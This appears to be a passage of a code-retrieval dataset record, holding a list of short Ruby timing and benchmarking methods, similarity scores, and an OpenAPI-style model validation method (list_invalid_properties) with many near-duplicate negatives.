"def bench type\n t1 = Time.now\n yield\n t2 = Time.now\n p \"#{type} used #{t2 - t1} seconds\"\nend",
"def time\n\twhile(true)\n\t\tsleep(Configuration::Turnduration)\n\t\tOrders.evaluate\n\tend\nend",
"def custom_benchmark\n start_time = Time.now\n yield if block_given?\n elapsed_time = Time.now - start_time\n puts \"Custom Benchmark Time in Seconds: #{elapsed_time}\"\nend",
"def measure_time(&block)\n start_time = Time.now\n yield\n Time.now - start_time\nend",
"def time_itr\n start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n yield\n end_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n delta_time = end_time - start_time\n return delta_time\nend",
"def exec_time(a)\n begin_time = Time.now\n a.call\n return Time.now - begin_time\nend",
"def build_timing; end",
"def time\n started_at = Time.now.to_f\n yield()\n ensure\n update((Time.now.to_f - started_at.to_f) * 1000)\n end",
"def run!\n current = 0\n while current < @timeout\n return 0 if done?\n\n sleep @sleep_time\n current += @sleep_time\n end\n\n 1\n end",
"def bench(&block)\n t0 = Time.now\n block.call\n t1 = Time.now\n\n t1 - t0\nend",
"def profile_time\n time_elapsed = Benchmark.realtime do\n yield\n end\n\n puts \"Time: #{time_elapsed.round(3)} seconds\"\n # print \";#{time_elapsed.round(3)}\"\n end",
"def cstime(*) end",
"def time_method\n beginning_time = Time.now\n yield\n end_time = Time.now\n (end_time - beginning_time) * 1000\nend",
"def runtime_latency\n (finished_at || Time.current) - performed_at if performed_at\n end",
"def timed(&block)\n @@start_time = Time.now\n Thread.new(&block).join\n @@elapsed_time = Time.now - @@start_time\n @@average_times.push(@@elapsed_time) \n end",
"def exec_time(proc)\n start_time = Time.now\n proc.call\n Time.now - start_time\nend",
"def bench n\n t = Time.now\n n.times{ yield }\n cost = Time.now - t\n\n t = Time.now\n n.times{}\n baseline = Time.now - t\n\n cost - baseline\nend",
"def time\n (1 + Time.now.to_i/10).ceil * 10\n end",
"def realtime # :yield:\r\n r0 = Process.clock_gettime(Process::CLOCK_MONOTONIC)\r\n yield\r\n Process.clock_gettime(Process::CLOCK_MONOTONIC) - r0\r\n end",
"def custom_benchmark(name)\n start_time = Time.now\n yield if block_given?\n elapsed_time = Time.now - start_time\n puts \"#{name} Time in Seconds: #{elapsed_time}\"\nend",
"def timeSpeed (n,a)\n n.times do\n\ta += a\n end\nend",
"def clock_time\n Process.clock_gettime(Process::CLOCK_MONOTONIC)\n end",
"def blocks_time\n Benchmark::Tms.new\n end",
"def exec_time(proc)\n begin_time = Time.now\n proc.call\n Time.now - begin_time\nend",
"def process_duration\n t1 = Process.times.utime\n Process.times.utime - t1\nend",
"def bench(descr)\n start = Time.now\n yield\n puts \"#{descr} : #{Time.now-start} seconds\"\nend",
"def measure(iterations = 1)\n time_elapsed = []\n\n iterations.times do\n @start = Time.now\n yield\n @stop = Time.now\n time_elapsed << (@stop - @start)\n end\n\n # reduce(:+) takes all elements in array, performs an operation, and keeps a running total\n time_elapsed.reduce(:+) / iterations.to_f\nend",
"def time\n each_item.reduce(0) { |a, e| a + e.duration }\n end",
"def exec_time(proc)\n start = Time.now\n proc.call\n Time.now - start\nend",
"def measure\n start = Time.now\n yield\n Time.now - start\n end",
"def time\n start_time = Time.now.to_f\n yield\n end_time = Time.now.to_f\n return end_time - start_time\n end",
"def benchmark\n start_time = Time.now\n result = yield\n\n [time_beween_in_ms(start_time, Time.now), result]\n end",
"def clock_gettime\n t = [0,0]\n ChangeTime.new.gett(t)\n t\n end",
"def exec_time(proc)\n # your code here\n x = Time.now\n proc.call()\n y = Time.now\n y - x\nend",
"def get_time_anchor\n anchor = Time.now.millis\n sleep(@@expected_network_latency)\n anchor\n end",
"def around_perform_measure_ttp(*)\n ttp = Benchmark.realtime { yield }\n @registry.hset key, 'ttp', ttp\n @registry.hincrbyfloat key, 'total_ttp', ttp\n end",
"def time\n start = Time.now\n yield\n Time.now - start\nend",
"def get_run_time(ant)\n end",
"def time\n tstart = Time.now.to_f\n yield\n tend = Time.now.to_f\n tend - tstart\nend",
"def time_block\n start = Time.now\n yield\n time = Time.now - start\n puts \"Block took basically 0 time\" if time < 0.001\n raise \"Block took #{time} to execute\" if time > 0.001\nend",
"def timer\n # 2. start executing the method\n start_time = Time.now\n yield # 3. jump out of 'timer', start execuding the block\n\n # 6. continue executing the method as per usual\n end_time = Time.now\n\n puts \"Elapsed time: #{end_time - start_time} s\"\nend",
"def time_it\n time_before = Time.now\n yield\n time_after = Time.now\n\n puts \"It took #{time_after - time_before} seconds.\"\nend",
"def run_single_instance()\n `rm results/*.json`\n time_ratio = nil\n while true\n if time_ratio != nil\n puts \"Retrying run to get better GPU globaltimer rate.\"\n puts \"Last rate was #{time_ratio.to_s}\"\n end\n # Throw away runs in which either multiprocesses or threads don't have a\n # reasonable ratio of GPU time to real time from the globaltimer register.\n stdout_process = `./bin/runner configs/multiprocess_two_randomwalk.json`\n time_ratio = get_time_ratio(stdout_process)\n next if (time_ratio <= 0.99) || (time_ratio >= 1.01)\n stdout_thread = `./bin/runner configs/multithread_two_randomwalk.json`\n time_ratio = get_time_ratio(stdout_thread)\n next if (time_ratio <= 0.99) || (time_ratio >= 1.01)\n break\n end\n # Now, process all result files to determine the process vs. thread time.\n process_time = 0.0\n thread_time = 0.0\n files = Dir[\"results/*.json\"]\n files.each do |f|\n kernel_time = get_kernel_time(f)\n if f =~ /multiprocess_/\n process_time += kernel_time\n elsif f =~ /multithread_/\n thread_time += kernel_time\n end\n end\n process_time / thread_time\nend",
"def server_timing; end",
"def methods_time\n Benchmark::Tms.new\n end",
"def time_it\n time_before = Time.now\n yield\n time_after = Time.now\n\n puts \"it took #{time_after - time_before} seconds.\"\nend",
"def simulate_latency\n sleep 0.5\n end",
"def cycle_start_time\n if stats[:start] && stats[:real_start]\n Time.at(*stats[:start]) + stats[:real_start]\n end\n end",
"def sleeper(clock)\n n = 0\n tm = clock\n every(0.1) do\n n += 1\n break if n == tm\n end\nend",
"def timer(method)\n Benchmark.bm do |x|\n x.report { method }\n end\n end",
"def start_time=(_arg0); end",
"def time_it\n time_before = Time.now\n yield # do whatever\n time_after = Time.now\n puts \"It tooke #{time_after - time_before} seconds!\"\nend",
"def assert_quick( action, expected_duration = 0.01, &block)\n start = Time.now.to_f\n yield\n duration = Time.now.to_f - start\n\n assert (duration - expected_duration) <= 0.001, \"Action took #{duration}s but at most #{expected_duration}s was expected.\"\nend",
"def time=(_arg0); end",
"def time=(_arg0); end",
"def time=(_arg0); end",
"def time=(_arg0); end",
"def time=(_arg0); end",
"def time=(_arg0); end",
"def take_time\n if self.completed?\n (complete_on - started_on) if complete_on && started_on\n end\n end",
"def up_to_time\n up_to_block.call.to_time\n end",
"def timing(stat, ms, sample_rate=1); send stat, ms, 'ms', sample_rate end",
"def timing(stat, time = nil, sample_rate = 1)\n if block_given?\n start_time = Time.now.to_f\n yield\n time = ((Time.now.to_f - start_time) * 1000).floor\n end\n send_stats(\"#{stat}:#{time}|ms\", sample_rate)\n end",
"def get_time\n Process.clock_gettime(Process::CLOCK_MONOTONIC)\n end",
"def execute_time\n @next_time\n end",
"def server_timing=(_arg0); end",
"def requests_per_second\n requests / horizon_time\n end",
"def ctime() end",
"def ctime() end",
"def ctime() end",
"def sleep_time\n\t\t\t# TODO: Hard-coded for now. See doc/app_manager.rdoc for some\n\t\t\t# thoughts on this.\n\t\t\t1\n\t\tend",
"def cycle_start_time\n if stats[:start] && stats[:actual_start]\n Time.at(*stats[:start]) + stats[:actual_start]\n end\n end",
"def long_calculation\n sleep(5) # do some complex operation like hit an API\nend",
"def expected_runtime_seconds(report_count:)\n runs = report_count * options[:lines_multipliers].length\n warmup_time_seconds = runs * options[:benchmark_warmup]\n bench_time_seconds = runs * options[:benchmark_time]\n\n warmup_time_seconds + bench_time_seconds\n end",
"def simulate_work(time)\n return\n sleep time unless Softcover::test?\n end",
"def pause_for_roundtime\n if $_api_current_rt > 0\n api_sleep $_api_current_rt + $rt_adjust\n end\nend",
"def benchmark\n n = 349572681\n oldTime = Time.now\n 50.times do\n n = test(n)\n end\n puts \"1000 Tests took #{Time.now-oldTime}\"\n n = 123456789\n oldTime = Time.now\n 1000.times do\n n = test2(n)\n end\n puts \"1000 Test2s took #{Time.now-oldTime}\"\nend",
"def waitTime()\n time = Time.now().to_i / 60\n\n # Cleanup once every ten minutes\n if (@lastFloodBucketReap != time && time % 10 == 0)\n @floodControl.delete_if{|key, val| key <= (time - 5) }\n @lastFloodBucketReap = time\n end\n\n @floodControl[time] += 1\n\n count = 0\n for i in 0...5\n count += (@floodControl[time - i] * (5 - i))\n end\n\n return 0.1 + (count * 0.0393)\n end",
"def measure\n start = Time.now\n yield\n Time.now - start\n end"
] | [
"0.6453082",
"0.64124227",
"0.63859004",
"0.6372792",
"0.624135",
"0.62390155",
"0.6222307",
"0.62086195",
"0.6168873",
"0.61267084",
"0.6072011",
"0.6054649",
"0.60402954",
"0.5988472",
"0.5986004",
"0.5972439",
"0.5972242",
"0.59626055",
"0.5943436",
"0.59422505",
"0.5941236",
"0.5926698",
"0.5906194",
"0.5902016",
"0.59010786",
"0.5876468",
"0.5867678",
"0.5813031",
"0.58089",
"0.5807826",
"0.5803554",
"0.5788196",
"0.5786747",
"0.5784229",
"0.57833946",
"0.57766616",
"0.5768478",
"0.5758315",
"0.57373685",
"0.5734631",
"0.5728907",
"0.57257545",
"0.5712746",
"0.57106465",
"0.5701805",
"0.5701096",
"0.56973875",
"0.569709",
"0.568233",
"0.56783056",
"0.56684315",
"0.566291",
"0.5653775",
"0.565249",
"0.5628183",
"0.56255025",
"0.5622121",
"0.56204087",
"0.5620148",
"0.56147784",
"0.56079876",
"0.56058633",
"0.55995715",
"0.55919826",
"0.5591083",
"0.55907416",
"0.5570365",
"0.5570303",
"0.5567899",
"0.55676574",
"0.5558848",
"0.5546193",
"0.55371135",
"0.55329305",
"0.5527513",
"0.5527513",
"0.5527513",
"0.5527513",
"0.5527513",
"0.5527513",
"0.5527087",
"0.5525811",
"0.5522157",
"0.5520982",
"0.55136704",
"0.5507078",
"0.5494916",
"0.5489533",
"0.5487628",
"0.5487628",
"0.54866743",
"0.54765624",
"0.5473824",
"0.547255",
"0.546428",
"0.5459461",
"0.5455174",
"0.54551417",
"0.54352844",
"0.5434991"
] | 0.74359125 | 0 |
Show invalid properties with the reasons. Usually used together with valid? | def list_invalid_properties
invalid_properties = Array.new
if !@store_id.nil? && @store_id.to_s.length > 20
invalid_properties.push('invalid value for "store_id", the character length must be smaller than or equal to 20.')
end
if @transaction_amount.nil?
invalid_properties.push('invalid value for "transaction_amount", transaction_amount cannot be nil.')
end
if @transaction_type.nil?
invalid_properties.push('invalid value for "transaction_type", transaction_type cannot be nil.')
end
if !@hosted_payment_page_text.nil? && @hosted_payment_page_text.to_s.length > 255
invalid_properties.push('invalid value for "hosted_payment_page_text", the character length must be smaller than or equal to 255.')
end
invalid_properties
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n pattern = Regexp.new(/^$|^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$/)\n if [email protected]? && @uuid !~ pattern\n invalid_properties.push(\"invalid value for \\\"uuid\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$/)\n if !@vdisk_id.nil? && @vdisk_id !~ pattern\n invalid_properties.push(\"invalid value for \\\"vdisk_id\\\", must conform to the pattern #{pattern}.\")\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @style.nil?\n invalid_properties.push('invalid value for \"style\", style cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n if [email protected]? && @name.to_s.length > 31\n invalid_properties.push('invalid value for \"name\", the character length must be smaller than or equal to 31.')\n end\n\n pattern = Regexp.new(/^[a-zA-Z0-9\\-\\._:]+$/)\n if [email protected]? && @name !~ pattern\n invalid_properties.push(\"invalid value for \\\"name\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n if !@static_wwpn_address.nil? && @static_wwpn_address !~ pattern\n invalid_properties.push(\"invalid value for \\\"static_wwpn_address\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n if [email protected]? && @wwpn !~ pattern\n invalid_properties.push(\"invalid value for \\\"wwpn\\\", must conform to the pattern #{pattern}.\")\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @is_object_icon.nil?\n invalid_properties.push('invalid value for \"is_object_icon\", is_object_icon cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n if @input_currency.nil?\n invalid_properties.push('invalid value for \"input_currency\", input_currency cannot be nil.')\n end\n\n if @sender.nil?\n invalid_properties.push('invalid value for \"sender\", sender cannot be nil.')\n end\n\n if @recipients.nil?\n invalid_properties.push('invalid value for \"recipients\", recipients cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @index.nil?\n invalid_properties.push('invalid value for \"index\", index cannot be nil.')\n end\n\n if @orientation.nil?\n invalid_properties.push('invalid value for \"orientation\", orientation cannot be nil.')\n end\n\n if @size.nil?\n invalid_properties.push('invalid value for \"size\", size cannot be nil.')\n end\n\n if @type.nil?\n invalid_properties.push('invalid value for \"type\", type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @direction.nil?\n invalid_properties.push('invalid value for \"direction\", direction cannot be nil.')\n end\n\n if @shape.nil?\n invalid_properties.push('invalid value for \"shape\", shape cannot be nil.')\n end\n\n if @linear_angle.nil?\n invalid_properties.push('invalid value for \"linear_angle\", linear_angle cannot be nil.')\n end\n\n if @is_scaled.nil?\n invalid_properties.push('invalid value for \"is_scaled\", is_scaled cannot be nil.')\n end\n\n if @tile_flip.nil?\n invalid_properties.push('invalid value for \"tile_flip\", tile_flip cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n if @format.nil?\n invalid_properties.push('invalid value for \"format\", format cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = Array.new\n invalid_properties\n end"
] | [
"0.76480395",
"0.76480395",
"0.76480395",
"0.76480395",
"0.76357543",
"0.76357543",
"0.76357543",
"0.76357543",
"0.76357543",
"0.76357543",
"0.76357543",
"0.76357543",
"0.73546803",
"0.7333273",
"0.72667927",
"0.7237672",
"0.7230264",
"0.72240895",
"0.7206086",
"0.71745956",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422",
"0.7168422"
] | 0.0 | -1 |
Check to see if the all the properties in the model are valid | def valid?
return false if !@store_id.nil? && @store_id.to_s.length > 20
return false if @transaction_amount.nil?
return false if @transaction_type.nil?
return false if !@hosted_payment_page_text.nil? && @hosted_payment_page_text.to_s.length > 255
true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def validate_properties\n true\n end",
"def validate_properties\n true\n end",
"def validate\n super\n\n check_optional_property :collection, String\n check_optional_property :create, String\n check_optional_property :delete, String\n check_optional_property :flush, String\n check_optional_property :prefetch, String\n check_optional_property :request_to_query, String\n check_optional_property :resource_to_request_patch, String\n check_optional_property :return_if_object, String\n check_optional_property :self_link, String\n end",
"def valid_attributes?\n true\n end",
"def valid_attributes?\n attribute_errors.empty?\n end",
"def valid?\n return false if @property_code.nil?\n return false if @property_name.nil?\n return false if @location.nil?\n return false if @total_price.nil?\n return false if @min_daily_rate.nil?\n return true\n end",
"def validate_presence_of(klazz, properties)\r\n instance = klazz.new \r\n instance.should_not be_valid\r\n \r\n properties.each do |property| \r\n instance.errors.should be_invalid(property)\r\n err_properties = instance.errors[property]\r\n if err_properties.is_a? Array\r\n err_properties.include?(ActiveRecord::Errors.default_error_messages[:blank]).should be_true\r\n else\r\n err_properties.should == ActiveRecord::Errors.default_error_messages[:blank] \r\n end\r\n end \r\n end",
"def validate_attributes!(attributes)\n invalid_properties = attributes.keys.map(&:to_s) - self.attributes.keys\n raise UndefinedPropertyError, \"Undefined properties: #{invalid_properties.join(',')}\" if invalid_properties.size > 0\n end",
"def model_valid?\n true\n end",
"def model_valid?\n true\n end",
"def valid?\n self.errors = []\n self.content_type.fields.each do |field|\n if field.required\n if self.dynamic_getter(field.name).blank?\n self.errors << field.name\n end\n end\n end\n self.errors.blank?\n end",
"def valid?\n validate\n @model.errors.on(:preferences).blank?\n end",
"def validate_properties\n if @properties.keys.count > 0\n if @properties.key?(:label)\n unless @properties[:label] =~ /^[a-zA-Z][\\w|\\s]*$/\n raise 'property label validation error'\n end\n end\n\n if @properties.key?(:default_aggregate)\n unless @properties[:default_aggregate] =~ /^max$|^min$|^avg$|^count$/i\n raise 'property default_aggregate validation error'\n end\n end\n end\n end",
"def validate_properties\n @properties.each do |property, values|\n valid_values = validate_values(property, values)\n\n if valid_values.is_a?(Array) && valid_values == [] || valid_values.nil?\n @properties.delete(property)\n else\n @properties[property] = valid_values\n end\n end\n end",
"def validate\n valid?\n end",
"def validate_attributes!(attributes)\n return attributes if attributes.blank?\n invalid_properties = attributes.keys.map(&:to_s) - self.attributes.keys\n invalid_properties.reject! { |name| self.respond_to?(\"#{name}=\") }\n fail UndefinedPropertyError, \"Undefined properties: #{invalid_properties.join(',')}\" if !invalid_properties.empty?\n end",
"def is_valid; end",
"def valid?\n # TODO validate nested objects\n output = super\n errors.empty? && output\n end",
"def property_checks\n errors.add(:base, \"You can't have a Thing without properties\") if property_keys.empty?\n\n self.property_keys.each do |key|\n errors.add(:properties, \"'#{key}' is an invalid property for this List\") unless available_property_keys.include?(key)\n end\n end",
"def valid_for_attributes( model, attributes )\n unless model.valid?\n errors = model.errors\n our_errors = Array.new\n errors.each { |attr,error|\n if attributes.include? attr\n our_errors << [attr,error]\n end\n }\n errors.clear\n our_errors.each { |attr,error| errors.add(attr,error) }\n return false unless errors.empty?\n end\n return true\n end",
"def valid?\n type_validator = EnumAttributeValidator.new('String', [\"person\", \"business\"])\n return false unless type_validator.valid?(@type)\n return false if @country.nil?\n return false if @street.nil?\n return false if @postal_code.nil?\n return false if @city.nil?\n return false if @email.nil?\n return false if @ip.nil?\n identification_type_validator = EnumAttributeValidator.new('String', [\"DL\", \"PP\", \"ID\", \"OT\"])\n return false unless identification_type_validator.valid?(@identification_type)\n legal_entity_type_validator = EnumAttributeValidator.new('String', [\"sole_proprietorship\", \"partnership\", \"privately_owned_company\", \"publicly_owned_company\", \"government_owned_entity\", \"trust\", \"ngo\", \"club_and_society\", \"go\", \"other\", \"financial_institution\", \"mto\"])\n return false unless legal_entity_type_validator.valid?(@legal_entity_type)\n nature_of_business_validator = EnumAttributeValidator.new('String', [\"personal\", \"agriculture_and_hunting\", \"forestry\", \"fishing\", \"agricultural_by_products\", \"coal_mining\", \"oil_mining\", \"iron_ore_mining\", \"other_metal_and_diamond_mining\", \"other_mineral_mining\", \"manufacturing_of_food_drink_tobacco\", \"manufacturing_of_textiles_leather_fur_furniture\", \"manufacture_of_wooden_products_furniture\", \"manufacture_of_paper_pulp_allied_products\", \"manufacture_of_chemicals_medical_petroleum_rubber_plastic_products\", \"manufacture_of_pottery_china_glass_stone\", \"manufacture_of_iron_steel_non_ferrous_metals_basic_industries\", \"manufacture_of_metal_products_electrical_and_scientific_engineering\", \"manufacture_of_jewelry_musical_instruments_toys\", \"electricity_gas_and_water\", \"construction\", \"wholesale_trade\", \"retail_trade\", \"catering_incl_hotels\", \"transport_storage\", \"communications\", \"finance_and_holding_companies\", \"insurance\", \"business_services\", \"real_estate_development_investment\", \"central_state_governments\", \"community_services_defence_police_prisons_etc\", \"social_services_education_health_care\", \"personal_services_leisure_services\", \"personal_services_domestic_laundry_repairs\", \"personal_services_embassies_international_organisations\"])\n return false unless nature_of_business_validator.valid?(@nature_of_business)\n return false if @documents.nil?\n gender_validator = EnumAttributeValidator.new('String', [\"M\", \"F\", \"O\"])\n return false unless gender_validator.valid?(@gender)\n true\n end",
